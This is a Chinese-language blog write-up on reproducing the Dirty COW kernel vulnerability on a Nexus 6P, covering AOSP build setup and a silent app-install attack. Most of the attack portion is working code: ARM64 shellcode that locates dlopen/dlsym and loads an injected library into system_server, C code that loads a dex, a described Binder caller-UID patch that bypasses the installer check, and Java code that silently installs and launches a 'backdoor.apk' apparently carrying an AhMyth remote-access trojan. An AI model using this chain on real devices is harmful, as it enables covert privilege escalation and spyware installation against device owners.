脏牛漏洞安卓复现
最近花了一些时间研究如何在Android系统上复现脏牛漏洞以及如何利用脏牛漏洞实现应用的静默安装,中间遇到了许多问题,这里做一个简单的记录与整理。
这篇文章主要介绍整个分析环境的配置过程、漏洞触发后的应用静默安装实现原理、需要用到的调试方法,以及一些可能遇到的问题。
编译可调式安卓系统
准备工具
- Ubuntu14.04(官方编译推荐系统版本,推荐使用docker)
- Nexus 6P(谷歌亲儿子,刷机什么的比较方便)
- 配置要求:内存最好在16G以上(编译Android7.0占用内存会较多)
下载源码
更多细节参考清华大学镜像站
Note:下载可以支持Nexus 6P的版本,具体信息可查看版本编号及支持
配置编译环境
详细过程参考谷歌官方
需要注意的是Android6.0 和Android7.0对openjdk版本要求不同
Note: 一定要严格按照官方的步骤来,这样可以减少编译出错的可能性
编译
编译过程比较慢,推荐使用Ccache + 服务器编译(并没有CCache带来的性能提升进行过实际的对比测试,所以这里可用也可不用)
- 加载环境变量
source build/envsetup.sh
- 选择编译目标
root@94a6988dc437:/data/AOSP/android-7.1.1_r27# lunch
You're building on Linux
Lunch menu... pick a combo:
1. aosp_arm-eng
2. aosp_arm64-eng
3. aosp_mips-eng
4. aosp_mips64-eng
5. aosp_x86-eng
6. aosp_x86_64-eng
7. full_fugu-userdebug
8. aosp_fugu-userdebug
9. mini_emulator_arm64-userdebug
10. m_e_arm-userdebug
11. m_e_mips-userdebug
12. m_e_mips64-eng
13. mini_emulator_x86-userdebug
14. mini_emulator_x86_64-userdebug
15. aosp_dragon-userdebug
16. aosp_dragon-eng
17. aosp_marlin-userdebug
18. aosp_sailfish-userdebug
19. aosp_flounder-userdebug
20. aosp_angler-userdebug
21. aosp_bullhead-userdebug
22. hikey-userdebug
23. aosp_shamu-userdebug
Which would you like? [aosp_arm-eng] 20
nexus 6P对应的设备编号是angler,nexus 6的设备编号是shamu。因为userdebug版本拥有原生root及系统调试功能,所以这里选择编译该版本。
- 开始编译
编译脚本如下:
#/bin/bash
export USER=root
export JACK_SERVER_VM_ARGUMENTS="-Dfile.encoding=UTF-8 -XX:+TieredCompilation -Xmx4g"
if [ "$1" != "" -a $1 != "2" ]; then
make -j$1
else
make -j2
fi
**Note: **
export USER=root
编译的过程中会用到USER
变量export JACK_SERVER_VM_ARGUMENTS
给java虚拟机设置4G内存
线程数根据电脑配置选择,一般为2×CPUs + 2就够了(具体参数可根据实际情况调整)
刷机
编译完成后就可以准备把编译好的系统刷到手机里面了
- 准备驱动文件
根据编译的系统版本下载对应的工厂镜像,比如我编译的时候使用的是Android7.1.1_r27,对应的编译版本号为NUF26N。这个版本比较新,可以直接到驱动页面下载。
Note: 对于比较老的版本,驱动页面并没有提供相应的驱动下载,使用从工厂镜像中提取的驱动也不能启动系统,这里暂时没有解决方案,所以临时的解决办法是在比较新的版本上编译调试分析,然后使用工厂镜像在老的系统中测试漏洞效果。当然,如果我们只需要要调试native层的代码,可以编译出对应版本的调试版,然后再去替换掉对应的so库。
脏牛漏洞测试
项目参考VIKIROOT
根据项目介绍,攻击成功后可以获得一个带root权限的shell,但其针对的版本是Android6.0。在Android7.0上并不能得到带root权限的shell,通过调试发现是selinux机制阻挡了这一攻击。事实上Android7.0的selinux的规则比Android6.0上的规则要复杂很多,因此在Android6.0上可以利用成功,但在Android7.0上是失败的。
配置交叉编译环境
后续的步骤会涉及到三种代码的编译:C、ARM、JAVA
-- ARM
编译shellcode
-- C
编译JNI调用Java代码
-- Java
功能模块,完成后续的应用安装及授权操作配置NDK patch
在Android里面Java和C代码的相互调用需要用到jni接口。一般情况下,如果我们开发的是一个正常的app,操作系统会主动给APP提供一个JNIEnv* env的参数。但我们注入的C代码并不具备这样的条件,所以需要调用NDK未公开API——android::AndroidRuntime::getJNIEnv() 来获取jni接口。如果要使用这个接口的话,需要对NDK做一些patch。Java代码打包
因为后面需要用到dex动态加载,所以先介绍一下如何把class文件打包成dex文件。
这里为了方便操作以及保证使用Java版本的一致性,先是使用AndroidStudio编译出相应的class文件,并使用jar命令进行打包,然后再使用dx命令将对象转换成dex文件
13 # compile dex
14 rm com -r
15 cp test/JniLoadDex/app/build/intermediates/classes/debug/com com -r
16 jar cvf inject.jar com
17 dx --dex --output=inject.dex inject.jar
选择注入进程
因为system_server在Android系统中起着至关重要的作用(安装应用、Acitivity管理、其他系统服务等),因此如果能够控制system_server则意味着我们已经可以控制整个系统的运行。
任意Java代码执行
当然,因为shellcode本身并不知道dlopen的函数地址,所以我们第一步需要做的是确定dlopen函数和dlsym函数的地址。
** Note: ** 事实上,我们并不需要首先使用dlopen对加载需要的库,因为系统在启动时已经将对应的库加载了,可以直接使用dlsym(RTLD_NEXT, funcname)去获取对应的函数地址。并且经过测试,发现在Android7.0中使用dlopen会映射新的so库,这就导致无法使用native反调java代码,因为对应的全局变量并没有经过初始化。
如果我们尝试去打印linker段的内存,我们可以看到下面的内容
0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p /system/bin/linker64
0x7cc9a5e000 <__dl__ZL10g_dl_mutex>: 0x4000 0x0
0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>: 0x0 0x0
0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>: 0x0 0x122
0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>: 0x0 0x0
0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>: 0x1001000000000 0x7cc99b8368 <__dl_dlopen>
0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>: 0x0 0x1001000000007
0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>: 0x7cc99b85d4 <__dl_dlclose> 0x0
0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>: 0x100100000000f 0x7cc99b8434 <__dl_dlsym>
0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>: 0x0 0x1001000000015
0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>: 0x7cc99b8208 <__dl_dlerror> 0x0
事实上,vdso和linker之间的偏移量也是固定的
0x000000790fe39000 0x000000790fe3b000 r-xp [vdso]
0x000000790fe3b000 0x000000790fee5000 r-xp /system/bin/linker64
0x000000790fee5000 0x000000790fee8000 r--p /system/bin/linker64
0x000000790fee8000 0x000000790fee9000 rw-p /system/bin/linker64
**Note: ** 不同版本的系统内存映射可能不太一样,但在Android下面每一个APP都是由Zygote调用fork产生的,所以编写一个APP就可以得到相关的偏移量。另外一个需要注意的问题是,不同版本的系统也会导致linker段上存储__dl_dlopen函数和__dl_symbol函数地址的偏移量发生改变。当然了,这个也可以通过APP来进行预处理。
有了以上的准备之后,就可以加载so库了
//加载so库的shellcode
.equ SYS_OPENAT, 0x38
.equ SYS_WRITE, 0x40
.equ SYS_CLOSE, 0x39
.equ SYS_SOCKET, 0xc6
.equ SYS_CONNECT, 0xcb
.equ SYS_BIND, 0xc8
.equ SYS_LISTEN, 0xc9
.equ SYS_DUP3, 0x18
.equ SYS_CLONE, 0xdc
.equ SYS_EXECVE, 0xdd
.equ SYS_EXIT, 0x5d
.equ SYS_READLINKAT, 0x4e
.equ SYS_GETUID, 0xae
.equ SYS_GETPID, 0xac
.equ AF_INET, 0x2
.equ AF_UNIX, 0x1
.equ O_EXCL, 0x80
.equ O_CREAT, 0x40
.equ O_APPEND, 0x400
.equ S_IRWXU, 0x1c0
.equ O_WRONLY, 0x1
.equ SOCK_STREAM, 0x1
.equ STDIN, 0x0
.equ STDOUT, 0x1
.equ STDERR, 0x2
.equ SIGCHLD, 0x11
.equ SHELL_IP, 0x682e020a //ip: 10.2.46.104
.equ SHELL_PORT, 0x5d11 //port: 4445
.equ LOCALHOST_IP, 0x0100007f //ip: 127.0.0.1
.equ UID_SYSTEM, 1000
_start:
// save enviroment
stp x0, x1, [sp, #-0x10]!
// determine whether current process is root
// (or some specific) process
mov x8, SYS_GETUID
svc 0
cmp w0, UID_SYSTEM
b.ne return
// try openat("/data/lock", O_CREAT|O_EXCL, ?)
// if failed, exit
// just for avoiding conflict
mov x0, 0
adr x1, lockfile
mov x2, O_CREAT|O_EXCL
mov x3, S_IRWXU
mov x8, SYS_OPENAT
svc 0
cmp w0, #0
b.le return
add sp, sp, #-0x30
stp x16, x30, [sp, 0x10]
adr x1, 0
and x1, x1, #0xfffffffffffff000
// offset depends on the addr distance between vdso and .bss section of linker64
// for example, with vmmap like below
// 0x000000790fe39000 0x000000790fe3b000 r-xp [vdso]
// 0x000000790fe3b000 0x000000790fee5000 r-xp /system/bin/linker64
// 0x000000790fee5000 0x000000790fee8000 r--p /system/bin/linker64
// 0x000000790fee8000 0x000000790fee9000 rw-p /system/bin/linker64
// .bss of linker64 start address is 0x000000790fee8000
// .text of linker64 start address is 0x000000790fe3b000
// what's more ?
// In the shellcode, we can locate ourself
// and the offset to vdso end is always 0x1000
// so the total offset is 0x000000790fe3b000 - 0x000000790fee8000 + 0x1000
//add x1, x1, 0xae000
add x1, x1, 0x2000
// now let's go to find dlopen and dlsym
// in bss setion of linker64
// we can find data like below:
// 0x0000007cc9a5e000 0x0000007cc9a5f000 rw-p /system/bin/linker64
//
// 0x7cc9a5e000 <__dl__ZL10g_dl_mutex>: 0x4000 0x0
// 0x7cc9a5e010 <__dl__ZL10g_dl_mutex+16>: 0x0 0x0
// 0x7cc9a5e020 <__dl__ZL10g_dl_mutex+32>: 0x0 0x122
// 0x7cc9a5e030 <__dl__ZL14g_libdl_symtab+8>: 0x0 0x0
// 0x7cc9a5e040 <__dl__ZL14g_libdl_symtab+24>: 0x1001000000000 0x7cc99b8368 <__dl_dlopen>
// 0x7cc9a5e050 <__dl__ZL14g_libdl_symtab+40>: 0x0 0x1001000000007
// 0x7cc9a5e060 <__dl__ZL14g_libdl_symtab+56>: 0x7cc99b85d4 <__dl_dlclose> 0x0
// 0x7cc9a5e070 <__dl__ZL14g_libdl_symtab+72>: 0x100100000000f 0x7cc99b8434 <__dl_dlsym>
// 0x7cc9a5e080 <__dl__ZL14g_libdl_symtab+88>: 0x0 0x1001000000015
// 0x7cc9a5e090 <__dl__ZL14g_libdl_symtab+104>: 0x7cc99b8208 <__dl_dlerror> 0x0
// so things are pretty easy
// we just need to add some offset to .bss start address, and then we can get dlopen and dlsym
add x2, x1, 0x48 //0x48, 0x88
ldr x3, [x2] //get __dl_dlopen
add x2, x1, 0x78 //0x78, 0xb8
ldr x4, [x2] //get __dl_dlsym
stp x3, x4, [sp, 0]
add x2, x1, 0xa0
//lhandle = dlopen("target.so", LD_NOW)
adr x0, sopath
mov x1, 2
ldr x3, [sp]
blr x3
str x0, [sp, 0x20]
//libentry = dlsym(lhandle, "libentry")
adr x1, fun_libentry
ldr x3, [sp, #8]
blr x3
blr x0
ldp x16, x30, [sp, 0x10]
add sp, sp, #0x30
return:
ldp x0, x1, [sp]
add sp, sp, 0x10
mov x17, x30
mov x30, x16
cmp w0, #0x0
ccmp w0, #0x1, #0x4, ne
br x17
exit:
mov x0, 0
mov x8, SYS_EXIT
svc 0
shell_addr:
.short AF_INET
.short SHELL_PORT
.word LOCALHOST_IP
lockfile:
.string "/data/lock"
.balign 4
sopath:
.string "/data/libinject.so"
.balign 4
fun_libentry:
.string "shellcode"
.balign
filepath:
.string "/sdcard/log.txt"
.balign 4
So库实现代码
#include
#include
#include
#include
#include
#include
#include
//#define DEBUG
#ifdef __cplusplus
extern "C"
{
#endif
#define LOG_TAG "haha"
#define LOGD(fmt, args...) __android_log_print(ANDROID_LOG_DEBUG,LOG_TAG, fmt, ##args)
#define NULL_CHECK(func_name, result) { \
if (result == 0) \
{ \
LOGD("Call function %s failed at line %d", func_name, __LINE__); \
kill(getpid(), SIGKILL); \
exit(0); \
} \
}
void waitfordebugger()
{
int i=0;
while(i < 100000)
{
usleep(100000);
i++;
}
}
jstring C2JString(JNIEnv *env, char *in) {
return env->NewStringUTF(in);
}
void loaddex(JNIEnv *env, char *_dexpath)
{
//查找ClassLoader类并调用静态方法获取系统的classloader对象
jclass clazzClassLoader = env->FindClass("java/lang/ClassLoader");
jmethodID mid_getsysloader = env->GetStaticMethodID(clazzClassLoader,
"getSystemClassLoader",
"()Ljava/lang/ClassLoader;");
jobject parent_loader = env->CallStaticObjectMethod(clazzClassLoader, mid_getsysloader);
//查找DexClassLoader类并且创建对象生成优化后的dex
jclass clazzDexClassLoader = env->FindClass("dalvik/system/DexClassLoader");
jmethodID mid_DexClassLoader = env->GetMethodID(clazzDexClassLoader,
"",
"(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V");
jstring dexpath = C2JString(env, _dexpath);
jstring odexpath = C2JString(env, "/data/test");
jobject loader = env->NewObject(clazzDexClassLoader, mid_DexClassLoader,
dexpath,
odexpath,
NULL,
parent_loader);
NULL_CHECK("env->NewObject", loader);
//加载需要注入的class
jclass classLoaderClass = env->GetObjectClass(loader);
jmethodID mid_loadClass = env->GetMethodID(classLoaderClass, "loadClass", "(Ljava/lang/String;)Ljava/lang/Class;");
jclass injectClass = (jclass)env->CallObjectMethod(loader, mid_loadClass, C2JString(env, "com.example.bluecake.jniloaddex.inject"));
//调用入口函数
jmethodID mid_test = env->GetStaticMethodID(injectClass, "test", "()V");
env->CallStaticVoidMethod(injectClass, mid_test);
return;
}
void* entry(void *arg)
{
waitfordebugger();
//do works here
JavaVM *jvm;
JNIEnv *env;
jvm = android::AndroidRuntime::getJavaVM();
env = android::AndroidRuntime::getJNIEnv();
if (env != NULL)
loaddex(env, "/data/inject.dex");
return ;
}
void shellcode(void)
{
pthread_t tid;
pthread_create(&tid, NULL, &entry, NULL);
return ;
}
#ifdef __cplusplus
}
#endif
到这里,按道理已经可以任意安装了呀,但还有一个问题:应用安装过程是通过一个system_server里面的一个线程来处理的,和这个线程通信的接口是通过binder进行通信。但是,安装服务对发起者有一个限制:应用安装发起者只能是root用户或特定UID(系统内置应用安装软件)。也就是说,我们以system_server的身份发起的应用安装请求会被直接挡掉。
那么,是不是就没有办法了呢?注意到这里使用的脏牛漏洞,所以我们可以修改任意二进制代码,那么只要在触发漏洞前把Binder->getCallingUid给patch掉就行了。一开始直接将返回值修改为零,但是发现system_server会反复崩溃并重启,解决方案是添加一段跳板代码,如果检测到发起方是程序自身,则修改返回值,反之保持现状。
应用安装的代码参考系统安装应用的代码
//Inject.java源码
package com.example.bluecake.installapp;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInstaller;
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
import android.os.Looper;
import android.util.Log;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Method;
import static android.system.Os.getuid;
/**
* Created by bluecake on 17-8-16.
*/
public class inject {
static String do_exec(String cmd) {
String s = "";
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
s += line + "/n";
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return s;
}
public static void install(final String path)
{
Log.i("haha", "start of test");
new Thread(new Runnable() {
@Override
public void run() {
Log.i("haha", "work thread started");
try{
Looper.prepare();
Class atc = Class.forName("android.app.ActivityThread");
Method systemMainMethod = atc.getDeclaredMethod("systemMain");
Object ActivityThreadInstance = systemMainMethod.invoke(null);
Method getSystemContextMethod = atc.getDeclaredMethod("getSystemContext");
Context context = (Context)getSystemContextMethod.invoke(ActivityThreadInstance);
//开始安装进程
PackageManager pm = context.getPackageManager();
PackageInstaller packageInstaller = pm.getPackageInstaller();
PackageInstaller.Session session = null;
String pakagePath = path;
File file = new File(pakagePath);
PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
PackageInstaller.SessionParams.MODE_FULL_INSTALL
);
params.setAppPackageName("ahmyth.mine.king.ahmyth");
params.setInstallLocation(-1);
params.setSize(file.length());
int sessionid = packageInstaller.createSession(params);
InputStream inputStream = new FileInputStream(file);
long sizeBytes = file.length();
session = packageInstaller.openSession(sessionid);
OutputStream outputStream = session.openWrite("PackageInstaller", 0, sizeBytes);
int c;
byte[] buffer = new byte[65536];
while((c = inputStream.read(buffer)) != -1)
{
outputStream.write(buffer, 0, c);
}
session.fsync(outputStream);
inputStream.close();
outputStream.close();
// fake intent
Context app = context;
Intent intent = new Intent(app, AlarmReceiver.class);
PendingIntent alarmtest = PendingIntent.getBroadcast(app,
sessionid, intent, PendingIntent.FLAG_UPDATE_CURRENT);
session.commit(alarmtest.getIntentSender());
session.close();
Log.i("haha", "ok, here we go");
}
catch (Exception e)
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter(sw);
e.printStackTrace(pw);
String sStackTrace = sw.toString();
Log.i("haha", sStackTrace);
}
}
}).start();
Log.i("haha", "end of test");
}
}
//MainActivity.java源码
package com.example.bluecake.installapp;
import android.content.Intent;
import android.content.res.AssetManager;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import static android.system.Os.getuid;
public class MainActivity extends AppCompatActivity {
// Used to load the 'native-lib' library on application startup.
static {
System.loadLibrary("native-lib");
}
public void copyFromAssets(String filename)
{
try {
AssetManager am = getAssets();
InputStream is = am.open(filename);
String DataDir = getDataDir().getPath();
String OutputPath = DataDir + "/" + filename;
OutputStream os = new FileOutputStream(OutputPath);
byte flush[] = new byte[1024];
int len = 0;
while(0<=(len=is.read(flush))){
os.write(flush, 0, len);
}
os.close();
is.close();
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
copyFromAssets("backdoor.apk");
copyFromAssets("patch");
String patch_path = getDataDir().getPath() + "/patch";
inject.do_exec("chmod 777 " + patch_path);
Button bInstall = (Button)findViewById(R.id.install);
bInstall.setOnClickListener(
new View.OnClickListener() {
@Override
public void onClick(View view) {
String patch_path = getDataDir().getPath() + "/patch";
String result = inject.do_exec(patch_path + " " + getuid());
Log.i("haha", result);
String apk_path = getDataDir().getPath() + "/backdoor.apk";
inject.install(apk_path);
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
try {
String PakageName = "ahmyth.mine.king.ahmyth";
String ClassName = "ahmyth.mine.king.ahmyth.MainActivity";
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setClassName(PakageName, ClassName);
startActivity(intent);
}
catch (Exception e)
{
e.printStackTrace();
}
}
}
);
}
/**
* A native method that is implemented by the 'native-lib' native library,
* which is packaged with this application.
*/
public native String stringFromJNI();
}